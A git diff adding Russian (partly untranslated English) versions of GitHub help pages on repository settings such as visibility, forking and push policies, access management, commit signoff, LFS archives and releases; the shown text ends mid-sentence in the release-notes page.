b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository.md new file mode 100644 index 000000000000..448a7982a129 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository.md @@ -0,0 +1,28 @@ +--- +title: Включение анонимного доступа на чтение GIT для репозитория +intro: 'Администратор репозитория может включить или отключить анонимный доступ на чтение Git для общедоступных репозиториев, которые удовлетворяют определенным требованиям.' +redirect_from: + - /articles/enabling-anonymous-git-read-access-for-a-repository + - /github/administering-a-repository/enabling-anonymous-git-read-access-for-a-repository + - /github/administering-a-repository/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository +versions: + ghes: '*' +shortTitle: Anonymous Git read access +ms.openlocfilehash: b289f2e70096775e567be0c925675e9986424821 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145136736' +--- +Администраторы репозитория могут изменить параметр анонимного доступа на чтение GIT для него при соблюдении следующих условий: +- Администратор сайта включил закрытый режим и анонимный доступ на чтение GIT. +- Репозиторий является общедоступным в организации и не является вилкой. +- Администратор сайта не отключил анонимный доступ на чтение GIT для репозитория. + +{% data reusables.enterprise_user_management.exceptions-for-enabling-anonymous-git-read-access %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. Рядом с пунктом "Включить анонимный доступ на чтение GIT" нажмите кнопку **Включить**. +![Кнопка "Включено" рядом с пунктом "Анонимный доступ на чтение GIT"](/assets/images/help/repository/enable-git-read-access-for-a-repo.png) +4. Просмотрите изменения. Чтобы подтвердить действие, введите имя репозитория и щелкните **Я понимаю, включить анонимный доступ на чтение GIT**. diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/index.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/index.md new file mode 100644 index 000000000000..31ab5877d05b --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/index.md @@ -0,0 +1,31 @@ +--- +title: Управление параметрами репозитория +intro: 'Вы можете определить способ работы репозитория, управляя параметрами репозитория.' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +children: + - /setting-repository-visibility + - /managing-teams-and-people-with-access-to-your-repository + - /managing-the-forking-policy-for-your-repository + - /managing-pull-request-reviews-in-your-repository + - /managing-the-commit-signoff-policy-for-your-repository + - /managing-the-push-policy-for-your-repository + - /managing-git-lfs-objects-in-archives-of-your-repository + - /enabling-anonymous-git-read-access-for-a-repository + - /about-email-notifications-for-pushes-to-your-repository + - /configuring-autolinks-to-reference-external-resources + - /configuring-tag-protection-rules +shortTitle: Manage repository settings +ms.openlocfilehash: 13d7136002fb53a10b7e8ca39efb647f1891d015 +ms.sourcegitcommit: 38a390a0101fa2848c3c1f070e69644d738097d1 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/21/2022 +ms.locfileid: '148104311' +--- + diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository.md new file mode 100644 index 000000000000..5ddbd89c3a71 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository.md @@ -0,0 +1,33 @@ +--- +title: Управление объектами LFS Git в архивах репозитория +shortTitle: 'Managing {% data variables.large_files.product_name_short %} objects in archives' +intro: 'Вы можете выбрать, следует ли включить объекты {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) в архивы исходного кода, такие как ZIP-файлы и архивы Tarball, которые {% data variables.product.product_name %} создает для репозитория.' +permissions: 'People with admin permissions for a repository can manage whether {% data variables.large_files.product_name_short %} objects are included in archives of the repository.' +versions: + fpt: '*' + ghec: '*' +topics: + - Repositories +redirect_from: + - /github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository + - /github/administering-a-repository/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository +ms.openlocfilehash: 64bad4c056a29ceffc465065c84a7424c870049f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147881775' +--- +## Сведения об объектах {% data variables.large_files.product_name_short %} в архивах + +{% data variables.product.product_name %} создает архивы исходного кода репозитория в виде ZIP-файлов и архивов в формате TAR. Пользователи могут скачать эти архивы на главной странице репозитория или в качестве ресурсов выпуска. По умолчанию объекты {% data variables.large_files.product_name_short %} не включаются в эти архивы, включены только файлы-указатели на эти объекты. Чтобы повысить удобство использования архивов для репозитория, можно включить вместо файлов-указателей объекты {% data variables.large_files.product_name_short %}. Для включения объекты {% data variables.large_files.product_name_short %} должны быть охвачены правилами отслеживания в файле *.gitattributes*, который был зафиксирован в репозитории. + +Если вы решили включить объекты {% data variables.large_files.product_name_short %} в архивы репозитория, каждое скачивание этих архивов будет учитываться в потреблении пропускной способности вашей учетной записи. Ежемесячно каждая учетная запись получает {% data variables.large_files.initial_bandwidth_quota %} пропускной способности бесплатно, а также можно оплатить дополнительное использование. Дополнительные сведения см. в разделах [Сведения об использовании хранилища и пропускной способности](/github/managing-large-files/about-storage-and-bandwidth-usage) и [Управление выставлением счетов для {% data variables.large_files.product_name_long %}](/billing/managing-billing-for-git-large-file-storage). + +Если вы используете внешний сервер LFS (настроенный в *.lfsconfig*), эти файлы LFS не будут включены в архивы репозитория. Архив будет содержать только файлы, которые были зафиксированы в {% data variables.product.product_name %}. + +## Управление объектами {% data variables.large_files.product_name_short %} в архивах + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. В разделе "Архивы" выберите или отмените выбор **Включить объекты {% data variables.large_files.product_name_short %} в архивы**. + ![Флажок для включения объектов {% data variables.large_files.product_name_short %} в архивы](/assets/images/help/repository/include-git-lfs-objects-checkbox.png) diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository.md new file mode 100644 index 000000000000..e3f2eadd11b2 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository.md @@ -0,0 +1,34 @@ +--- +title: Управление проверками запросов на вытягивание в репозитории +intro: 'Вы можете настроить ограничения касательно того, какие пользователи могут одобрять или запрашивать изменения в запросах на вытягивание в общедоступном репозитории.' +versions: + feature: pull-request-approval-limit +permissions: Repository administrators can limit which users can approve or request changes to a pull request in a public repository. +topics: + - Repositories + - Pull requests +shortTitle: Manage pull request reviews +ms.openlocfilehash: 81c58a856e7dddc316a41413d4c7787bf463cf7c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145136709' +--- +## Сведения об ограничениях проверки кода + +По умолчанию в общедоступных репозиториях любой пользователь может отправлять отзывы, которые утверждают или запрашивают изменения запроса на вытягивание. + +Можно ограничить, какие пользователи могут отправлять проверки, утверждающие или запрашивающие изменения в запросах на вытягивание в общедоступном репозитории. После включения ограничений по проверке кода любой пользователь может прокомментировать запросы на вытягивание в общедоступных репозиториях, однако только пользователи с явным доступом к репозиторию могут утверждать запрос на вытягивание или вносить изменения. + +Можно также включить ограничения проверки кода для организации. Если включить ограничения для организации, вы тем самым переопределите все ограничения для отдельных репозиториев, принадлежащих организации. Дополнительные сведения см. в разделе [Управление проверками запросов на вытягивание в организации](/organizations/managing-organization-settings/managing-pull-request-reviews-in-your-organization). + +## Включение ограничений по проверке кода + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +1. В разделе **Доступ** щелкните **Параметры модерации**. +![Параметры репозитория для параметров модерации](/assets/images/help/repository/access-settings-repositories.png) +1. В разделе **Параметры модерации** щелкните **Ограничения проверки кода**. +![Репозитории с ограничениями проверки кода](/assets/images/help/repository/code-review-limits-repositories.png) +1. Выберите или отмените выбор **ограничения для пользователей с явно предоставленным доступом для чтения или более высоким уровнем доступа**. +![Проверка ограничения в репозитории](/assets/images/help/repository/limit-reviews-in-repository.png) diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md new file mode 100644 index 000000000000..ba8f82481658 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository.md @@ -0,0 +1,85 @@ +--- +title: Managing teams and people with access to your repository +intro: You can see everyone who has access to your repository and adjust permissions. +permissions: People with admin access to a repository can manage teams and people with access to a repository. +redirect_from: + - /github/administering-a-repository/managing-people-and-teams-with-access-to-your-repository + - /github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository + - /github/administering-a-repository/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository +versions: + fpt: '*' + ghec: '*' + ghes: '>3.3' + ghae: '>= 3.4' +topics: + - Repositories +shortTitle: Teams & people +--- + +## About access management for repositories + +For each repository that you administer on {% data variables.product.prodname_dotcom %}, you can see an overview of every team or person with access to the repository. From the overview, you can also invite new teams or people, change each team or person's role for the repository, or remove access to the repository. + +This overview can help you audit access to your repository, onboard or off-board contractors or employees, and effectively respond to security incidents. + +{% data reusables.organizations.mixed-roles-warning %} + +For more information about repository roles, see "[Permission levels for a personal account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." + +![Access management overview](/assets/images/help/repository/manage-access-overview.png) + +## Filtering the list of teams and people + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +{% data reusables.repositories.click-collaborators-teams %} +{% else %} +{% data reusables.repositories.navigate-to-manage-access %} +{% endif %} +1. Under "Manage access", in the search field, start typing the name of the team or person you'd like to find. Optionally, use the dropdown menus to filter your search. + ![Search field for filtering list of teams or people with access](/assets/images/help/repository/manage-access-filter.png) + +## Changing permissions for a team or person + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +{% data reusables.repositories.click-collaborators-teams %} +{% else %} +{% data reusables.repositories.navigate-to-manage-access %} +{% endif %} +4. Under "Manage access", find the team or person whose role you'd like to change, then select the Role drop-down and click a new role. + ![Using the "Role" drop-down to select new permissions for a team or person](/assets/images/help/repository/manage-access-role-drop-down.png) + +## Inviting a team or person + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +{% data reusables.repositories.click-collaborators-teams %} +{% else %} +{% data reusables.repositories.navigate-to-manage-access %} +{% endif %} +{% data reusables.organizations.invite-teams-or-people %} +5. In the search field, start typing the name of the team or person to invite, then click a name in the list of matches. + ![Search field for typing the name of a team or person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field.png) +6. Under "Choose a role", select the repository role to grant to the team or person, then click **Add NAME to REPOSITORY**. + ![Selecting permissions for the team or person](/assets/images/help/repository/manage-access-invite-choose-role-add.png) + +## Removing access for a team or person + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +{% data reusables.repositories.click-collaborators-teams %} +{% else %} +{% data reusables.repositories.navigate-to-manage-access %} +{% endif %} +4. Under "Manage access", find the team or person whose access you'd like to remove, then click {% octicon "trash" aria-label="The trash icon" %}. + ![trash icon for removing access](/assets/images/help/repository/manage-access-remove.png) + +## Further reading + +- "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)" +- "[Setting base permissions for an organization](/organizations/managing-access-to-your-organizations-repositories/setting-base-permissions-for-an-organization)" diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository.md new file mode 100644 index 000000000000..941d10d1b06b --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-commit-signoff-policy-for-your-repository.md @@ -0,0 +1,25 @@ +--- +title: Managing the commit signoff policy for your repository +intro: 'You can require users to automatically sign off on the commits they make to your repository using {% data variables.product.product_name %}''s web interface.' +versions: + feature: commit-signoffs +permissions: Organization owners and repository administrators can require all commits to a repository to be signed off by the commit author. +topics: + - Repositories +shortTitle: Manage the commit signoff policy +--- + +## About commit signoffs + +Commit signoffs enable users to affirm that a commit complies with the rules and licensing governing a repository. You can enable compulsory commit signoffs on individual repositories for users committing through {% data variables.location.product_location %}'s web interface, making signing off on a commit a seemless part of the commit process. Once compulsory commit signoffs are enabled for a repository, every commit made to that repository through {% data variables.location.product_location %}'s web interface will automatically be signed off on by the commit author. + +Organization owners can also enable compulsory commit signoffs at the organization level. For more information, see "[Managing the commit signoff policy for your organization](/organizations/managing-organization-settings/managing-the-commit-signoff-policy-for-your-organization)." + +{% data reusables.repositories.commit-signoffs %} + +## Enabling or disabling compulsory commit signoffs for your repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +1. Select **Require contributors to sign off on web-based commits**. + ![Screenshot of Require contributors to sign off on web-based commits](/assets/images/help/repository/require-signoffs.png) diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md new file mode 100644 index 000000000000..5d269d61a418 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md @@ -0,0 +1,34 @@ +--- +title: Управление политикой создания вилок для репозитория +intro: 'Вы можете разрешить или запретить создание вилок определенного частного{% ifversion ghae or ghes or ghec %} или внутреннего{% endif %} репозитория, принадлежащего организации.' +redirect_from: + - /articles/allowing-people-to-fork-a-private-repository-owned-by-your-organization + - /github/administering-a-repository/allowing-people-to-fork-a-private-repository-owned-by-your-organization + - /github/administering-a-repository/managing-the-forking-policy-for-your-repository + - /github/administering-a-repository/managing-repository-settings/managing-the-forking-policy-for-your-repository +permissions: People with admin permissions for a repository can manage the forking policy for the repository. +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Manage the forking policy +ms.openlocfilehash: 18355227ad40567de3824f3cc286763cd081e153 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145136697' +--- +Владелец организации должен разрешить создание вилок частных{% ifversion ghae or ghes or ghec %} и внутренних{% endif %} репозиториев на уровне организации, чтобы вы могли разрешить или запретить создание вилок для конкретного репозитория. Дополнительные сведения см. в разделе [Управление политикой ветвления для организации](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization). + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. В разделе "Функции" выберите параметр **Разрешить создание вилок**. + ![Флажок для разрешения или запрета создания вилок частного репозитория](/assets/images/help/repository/allow-forking-specific-org-repo.png) + +## Дополнительные материалы + +- [Сведения о вилках](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) +- [Роли репозитория для организации](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-push-policy-for-your-repository.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-push-policy-for-your-repository.md new file mode 100644 index 000000000000..1236e8596085 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-push-policy-for-your-repository.md @@ -0,0 +1,41 @@ +--- +title: Управление политикой принудительной отправки для репозитория +intro: Можно ограничить количество ветвей и тегов в рамках одной принудительной отправки. +versions: + feature: limit-branches-tags-in-push +permissions: People with admin permissions for a repository can manage the push policy for the repository. +topics: + - Repositories +shortTitle: Manage the push policy +ms.openlocfilehash: bfcf58bdd6aa32ffb5daa613ee4ae93548c70ef0 +ms.sourcegitcommit: 2dfd754ff9157822c9bfce5c08715d80fac44878 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/21/2022 +ms.locfileid: '148104389' +--- +## Сведения о политике принудительной отправки + +{% note %} + +**Примечание:** Политика принудительной отправки в настоящее время находится в бета-версии и может быть изменена. + +{% endnote %} + +По умолчанию количество ветвей и тегов, которые можно обновить в одной принудительной отправке, не ограничено. + +Вы можете ограничить количество ветвей и тегов, которые можно обновить в одной отправке, чтобы заблокировать потенциально разрушительные push-уведомления. Это может предотвратить или ограничить потерю данных. + +Политика принудительной отправки также блокирует команду Git: `git push --mirror`. Это потенциально деструктивная команда для точного сопоставления удаленного с локальным клоном. При случайном выполнении это может привести к нескольким принудительным отправкам и удалению ветвей на удаленном устройстве без каких-либо предупреждений. + +## Ограничение количества ветвей и тегов, которые можно обновить в рамках одной принудительной отправки + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} +3. В разделе "Pushes" выберите **"Ограничить количество ветвей и тегов" в рамках одной принудительной отправки**. + + ![Снимок экрана: ограничение количества ветвей и тегов, которые можно обновить одним параметром принудительной отправки](/assets/images/help/repository/limit-branches-and-tags-single-push.png) +4. Введите количество ветвей и тегов, которые нужно ограничить в рамках одной принудительной отправки. Более низкие числа являются более строгими, из которых разрешены push-уведомления, и более высокие числа менее ограничительные, но имеют больше возможностей для деструктивного. + + Рекомендуется использовать максимальное значение по умолчанию для обновлений ветви или тегов, разрешенных `5` в одной принудительной отправке. Минимальное значение равно `2`, так как Git требует двух обновлений ветви для переименования ветви в одном push-запросе: *удаление ветви* и *создание ветви*. + + ![Снимок экрана: поле, в котором введите количество ветвей и тегов, которые вы хотите ограничить](/assets/images/help/repository/set-limit-branch-tags-single-push.png) diff --git a/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md new file mode 100644 index 000000000000..9d2e1efb2c46 --- /dev/null +++ b/translations/ru-RU/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md @@ -0,0 +1,104 @@ +--- +title: Setting repository visibility +intro: You can choose who can view your repository. +redirect_from: + - /articles/making-a-private-repository-public + - /articles/making-a-public-repository-private + - /articles/converting-a-public-repo-to-a-private-repo + - /articles/setting-repository-visibility + - /github/administering-a-repository/setting-repository-visibility + - /github/administering-a-repository/managing-repository-settings/setting-repository-visibility +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +shortTitle: Repository visibility +--- +## About repository visibility changes + +Organization owners can restrict the ability to change repository visibility to organization owners only. For more information, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)." + +{% ifversion ghec %} + +Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only set the visibility of repositories owned by their personal account to private, and repositories in their enterprise's organizations can only be private or internal. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." + +{% endif %} + +We recommend reviewing the following caveats before you change the visibility of a repository. + +{% ifversion ghes or ghae %} + +{% warning %} + +**Warning:** Changes to the visibility of a large repository or repository network may affect data integrity. Visibility changes can also have unintended effects on forks. {% data variables.product.company_short %} recommends the following before changing the visibility of a repository network. + +- Wait for a period of reduced activity on {% data variables.location.product_location %}. + +- Contact your {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %} before proceeding. Your {% ifversion ghes %}site administrator{% elsif ghae %}enterprise owner{% endif %} can contact {% data variables.contact.contact_ent_support %} for further guidance. + +{% endwarning %} + +{% endif %} + +### Making a repository private +{% ifversion fpt or ghes or ghec %} +* {% data variables.product.product_name %} will detach public forks of the public repository and put them into a new network. Public forks are not made private.{% endif %} +{%- ifversion ghes or ghec or ghae %} +* If you change a repository's visibility from internal to private, {% data variables.product.prodname_dotcom %} will remove forks that belong to any user without access to the newly private repository. {% ifversion fpt or ghes or ghec %}The visibility of any forks will also change to private.{% elsif ghae %}If the internal repository has any forks, the visibility of the forks is already private.{% endif %} For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" +{%- endif %} + +{%- ifversion fpt %} +* If you're using {% data variables.product.prodname_free_user %} for personal accounts or organizations, some features won't be available in the repository after you change the visibility to private. Any published {% data variables.product.prodname_pages %} site will be automatically unpublished. If you added a custom domain to the {% data variables.product.prodname_pages %} site, you should remove or update your DNS records before making the repository private, to avoid the risk of a domain takeover. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)." +{%- endif %} + +{%- ifversion fpt or ghec %} +* {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)." +* {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working{% ifversion ghec %} unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats{% endif %}. {% data reusables.advanced-security.more-info-ghas %} +{%- endif %} + +{%- ifversion ghes %} +* Anonymous Git read access is no longer available. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/user/articles/enabling-anonymous-git-read-access-for-a-repository)." +{%- endif %} + +{% ifversion ghes or ghec or ghae %} + +### Making a repository internal + +* Any forks of the repository will remain in the repository network, and {% data variables.product.product_name %} maintains the relationship between the root repository and the fork. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" + +{% endif %} + +{% ifversion fpt or ghes or ghec %} + +### Making a repository public + +* {% data variables.product.product_name %} will detach private forks and turn them into a standalone private repository. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility#changing-a-private-repository-to-a-public-repository)"{% ifversion fpt or ghec %} +* If you're converting your private repository to a public repository as part of a move toward creating an open source project, see the [Open Source Guides](http://opensource.guide) for helpful tips and guidelines. You can also take a free course on managing an open source project with [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}). Once your repository is public, you can also view your repository's community profile to see whether your project meets best practices for supporting contributors. For more information, see "[Viewing your community profile](/articles/viewing-your-community-profile)." +* The repository will automatically gain access to {% data variables.product.prodname_GH_advanced_security %} features. + +For information about improving repository security, see "[Securing your repository](/code-security/getting-started/securing-your-repository)."{% endif %} + +{% endif %} + +## Changing a repository's visibility + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +3. Under "Danger Zone", to the right of to "Change repository visibility", click **Change visibility**. + ![Change visibility button](/assets/images/help/repository/repo-change-vis.png) +4. Select a visibility. +{% ifversion fpt or ghec %} + ![Dialog of options for repository visibility](/assets/images/help/repository/repo-change-select.png){% else %} + ![Dialog of options for repository visibility](/assets/images/enterprise/repos/repo-change-select.png){% endif %} +5. To verify that you're changing the correct repository's visibility, type the name of the repository you want to change the visibility of. +6. Click **I understand, change repository visibility**. +{% ifversion fpt or ghec %} + ![Confirm change of repository visibility button](/assets/images/help/repository/repo-change-confirm.png){% else %} + ![Confirm change of repository visibility button](/assets/images/enterprise/repos/repo-change-confirm.png){% endif %} + + +## Further reading +- "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)" diff --git a/translations/ru-RU/content/repositories/releasing-projects-on-github/about-releases.md b/translations/ru-RU/content/repositories/releasing-projects-on-github/about-releases.md new file mode 100644 index 000000000000..c3edbf5ec06d --- /dev/null +++ b/translations/ru-RU/content/repositories/releasing-projects-on-github/about-releases.md @@ -0,0 +1,59 @@ +--- +title: About releases +intro: 'You can create a release to package software, along with release notes and links to binary files, for other people to use.' +redirect_from: + - /articles/downloading-files-from-the-command-line + - /articles/downloading-files-with-curl + - /articles/about-releases + - /articles/getting-the-download-count-for-your-releases + - /github/administering-a-repository/getting-the-download-count-for-your-releases + - /github/administering-a-repository/about-releases + - /github/administering-a-repository/releasing-projects-on-github/about-releases +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Repositories +--- +## About releases + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +![An overview of releases](/assets/images/help/releases/refreshed-releases-overview-with-contributors.png) +{% else %} +![An overview of releases](/assets/images/help/releases/releases-overview.png) +{% endif %} + +Releases are deployable software iterations you can package and make available for a wider audience to download and use. + +Releases are based on [Git tags](https://git-scm.com/book/en/Git-Basics-Tagging), which mark a specific point in your repository's history. A tag date may be different than a release date since they can be created at different times. For more information about viewing your existing tags, see "[Viewing your repository's releases and tags](/github/administering-a-repository/viewing-your-repositorys-releases-and-tags)." + +You can receive notifications when new releases are published in a repository without receiving notifications about other updates to the repository. For more information, see "[Viewing your subscriptions](/github/managing-subscriptions-and-notifications-on-github/viewing-your-subscriptions)." + +Anyone with read access to a repository can view and compare releases, but only people with write permissions to a repository can manage releases. For more information, see "[Managing releases in a repository](/github/administering-a-repository/managing-releases-in-a-repository)." + +{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %} +You can manually create release notes while managing a release. Alternatively, you can automatically generate release notes from a default template, or customize your own release notes template. For more information, see "[Automatically generated release notes](/repositories/releasing-projects-on-github/automatically-generated-release-notes)." +{% endif %} + +{% ifversion fpt or ghec or ghes > 3.5 or ghae > 3.6 %} +When viewing the details for a release, the creation date for each release asset is shown next to the release asset. +{% endif %} + +{% ifversion fpt or ghec %} +People with admin permissions to a repository can choose whether {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in the ZIP files and tarballs that {% data variables.product.product_name %} creates for each release. For more information, see "[Managing {% data variables.large_files.product_name_short %} objects in archives of your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository)." + +If a release fixes a security vulnerability, you should publish a security advisory in your repository. {% data variables.product.prodname_dotcom %} reviews each published security advisory and may use it to send {% data variables.product.prodname_dependabot_alerts %} to affected repositories. For more information, see "[About GitHub Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)." + +You can view the **Dependents** tab of the dependency graph to see which repositories and packages depend on code in your repository, and may therefore be affected by a new release. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." +{% endif %} + +You can also use the Releases API to gather information, such as the number of times people download a release asset. For more information, see "[Releases](/rest/reference/releases)." + +{% ifversion fpt or ghec %} +## Storage and bandwidth quotas + + Each file included in a release must be under {% data variables.large_files.max_file_size %}. There is no limit on the total size of a release, nor bandwidth usage. + +{% endif %} diff --git a/translations/ru-RU/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md b/translations/ru-RU/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md new file mode 100644 index 000000000000..d53071108bee --- /dev/null +++ b/translations/ru-RU/content/repositories/releasing-projects-on-github/automatically-generated-release-notes.md @@ -0,0 +1,99 @@ +--- +title: Автоматическое создание заметок о выпуске +intro: Вы можете автоматически создавать заметки о выпуске для своих выпусков GitHub. +permissions: Repository collaborators and people with write access to a repository can generate and customize automated release notes for a release. +versions: + fpt: '*' + ghec: '*' + ghes: '>3.3' + ghae: '>= 3.4' +topics: + - Repositories +shortTitle: Automated release notes +communityRedirect: + name: Provide GitHub Feedback + href: 'https://github.com/orgs/community/discussions/categories/general' +ms.openlocfilehash: a4adfa306873ef172950666756add7d0e67e168d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147432019' +--- +## Сведения об автоматическом создании заметок о выпуске + +Автоматическое создание заметок о выпуске — это альтернатива написанию заметок о выпуске на {% data variables.product.prodname_dotcom %} вручную. С помощью этой функции можно быстро создавать обзор содержимого выпуска. Автоматически созданные заметки о выпуске включают список объединенных запросов на вытягивание, список участников выпуска и ссылку на полный журнал изменений. + +Автоматические заметки о 